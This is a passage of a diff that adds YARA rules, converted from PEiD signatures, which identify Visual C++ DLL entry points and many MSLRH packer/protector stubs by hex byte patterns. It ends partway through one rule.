+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00 00 01 EB 11 83 B8 74 00 00 01 0E 76 B8 33 C9 39 88 E8 00 00 01 0F 95 C1 8B C1 6A 01 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 50 FF ?? ?? ?? 00 01 83 0D ?? ?? ?? 01 FF 83 0D ?? ?? ?? 01 FF 59 59 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 A1 ?? ?? 00 01 8B 00 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 83 3D ?? ?? ?? 01 00 75 0C 68 ?? ?? ?? 01 FF 15 ?? ?? 00 01 59 E8 ?? ?? 00 00 33 C0 C3 CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01186_MS_Visual_C___v_8_DLL__h_small_sig1__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig1)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01187_MS_Visual_C___v_8_DLL__h_small_sig2__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig2)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+    condition:
+        $a
+}
+
+rule PEiD_01188_MSLRH_0_32a__fake__BJFNT_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake .BJFNT 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50}
+    condition:
+        $a
+}
+
+rule PEiD_01189_MSLRH_0_32a__fake_ASPack_2_11d_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.11d) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+
+rule PEiD_01190_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01191_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+
+rule PEiD_01192_MSLRH_0_32a__fake_EXE32Pack_1_3x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake EXE32Pack 1.3x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01193_MSLRH_0_32a__fake_Microsoft_Visual_C_______emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Microsoft Visual C++) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01194_MSLRH_0_32a__fake_MSVC___6_0_DLL_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 6.0 DLL) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58}
+    condition:
+        $a
+}
+
+rule PEiD_01195_MSLRH_0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+rule PEiD_01196_MSLRH_0_32a__fake_MSVC___DLL_Method_4_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ DLL Method 4) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+
+rule PEiD_01197_MSLRH_0_32a__fake_Neolite_2_0_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Neolite 2.0) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31}
+    condition:
+        $a
+}
+
+rule PEiD_01198_MSLRH_0_32a__fake_nSPack_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake nSPack 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74}
+    condition:
+        $a
+}
+
+rule PEiD_01199_MSLRH_0_32a__fake_PC_Guard_4_xx_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PC-Guard 4.xx) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58}
+    condition:
+        $a
+}
+
+rule PEiD_01200_MSLRH_0_32a__fake_PE_Crypt_1_02_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Crypt 1.02) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01201_MSLRH_0_32a__fake_PE_Lock_NT_2_04_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Lock NT 2.04) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83}
+    condition:
+        $a
+}
+
+rule PEiD_01202_MSLRH_0_32a__fake_PEBundle_0_2___3_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 0.2 - 3.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01203_MSLRH_0_32a__fake_PEBundle_2_0x___2_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29}
+    condition:
+        $a
+}
+
+rule PEiD_01204_MSLRH_0_32a__fake_PECompact_1_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PECompact 1.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A}
+    condition:
+        $a
+}
+
+rule PEiD_01205_MSLRH_0_32a__fake_PESHiELD_0_25_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PESHiELD 0.25) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04}
+    condition:
+        $a
+}
+
+rule PEiD_01206_MSLRH_0_32a__fake_PEtite_2_1_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEtite 2.1) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01207_MSLRH_0_32a__fake_PEX_0_99_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEX 0.99) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83}
+    condition:
+        $a
+}
+
+rule PEiD_01208_MSLRH_0_32a__fake_SVKP_1_11_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake SVKP 1.11) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01209_MSLRH_0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40}
+    condition:
+        $a
+}
+
+rule PEiD_01210_MSLRH_0_32a__fake_WWPack32_1_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake WWPack32 1.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52}
+    condition:
+        $a
+}
+
+rule PEiD_01211_MSLRH_0_32a__fake_yoda_s_cryptor_1_2_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake yoda's cryptor 1.2) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01212_MSLRH_v0_1____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.1 -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01213_MSLRH_V0_31____emadicius_
+{
+    meta:
+        description = "[MSLRH V0.31 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+    condition:
+        $a
+}
+
+rule PEiD_01214_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_01215_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01216_MSLRH_v0_32a__fake__BJFNT_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake .BJFNT 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01217_MSLRH_v0_32a__fake_ASPack_2_11d_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.11d) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01218_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01219_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01220_MSLRH_v0_32a__fake_EXE32Pack_1_3x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake EXE32Pack 1.3x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01221_MSLRH_v0_32a__fake_Microsoft_Visual_C_______emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Microsoft Visual C++) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01222_MSLRH_v0_32a__fake_MSVC___6_0_DLL_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 6.0 DLL) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01223_MSLRH_v0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01224_MSLRH_v0_32a__fake_MSVC___DLL_Method_4_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ DLL Method 4) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01225_MSLRH_v0_32a__fake_Neolite_2_0_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Neolite 2.0) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
